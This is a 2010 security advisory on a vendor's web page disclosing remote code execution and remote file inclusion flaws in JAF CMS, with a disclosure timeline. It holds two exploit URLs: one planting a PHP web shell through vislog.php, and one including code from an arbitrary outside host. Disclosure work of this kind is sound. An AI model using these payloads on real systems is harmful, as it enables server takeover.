In light of COVID-19 precaution measures, we remind that all ImmuniWeb products can be easily configured and safely paid online without any human contact or paperwork.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in JAF CMS

Advisory ID:HTB22665
Product:JAF CMS
Vendor:JAF CMS
Vulnerable Versions:4.0 RC2 and probably prior
Tested Version:4.0 RC2
Advisory Publication:October 21, 2010 [without technical details]
Vendor Notification:October 21, 2010
Public Disclosure:November 4, 2010
Vulnerability Type:Code Injection [CWE-94]
PHP File Inclusion [CWE-98]
CVE Reference:CVE-2008-1609
Risk Level:Critical
CVSSv2 Base Scores:10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in JAF CMS which could be exploited to compromise vulnerable system.

1) Remote code execution in JAF CMS
The vulnerability exists due to insufficient sanitation of input data in module/log/vislog.php. A remote attacker can create files with arbitrary contents within the web root directory and execute them with privileges of the webserver.
Exploitation example:
Creating a malicious file named 123.php:
http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+sy stem(%24_GET%5b%27cmd%27 %5d)%3b+%3f%3e&root=../../123.php%00
Executing arbitrary commands:

2) Remote file inclusion vulnerability in JAF CMS
Input passed to the “website” parameter in module/forum/main.php and module/forum/forum.php is not properly sanitized before being used to include files. A remote attacker can include and execute php files from arbitrary locations. Successful exploitation requires that register_globals is set to On.
Exploitation example:
htt p://[host]/module/forum/ forum.php?website=http://any_host/any_file%00

This vulnerability was independently discovered by XxX and it was assigned a CVE number CVE-2008-1609.

How to Detect Code Injection Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22665 - - Multiple Vulnerabilities in JAF CMS
[2] JAF CMS - - JAF CMS - just another flat file CMS is a personal home-page oriented CMSs engine without database needed for small private sites.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
View Products Ask a Question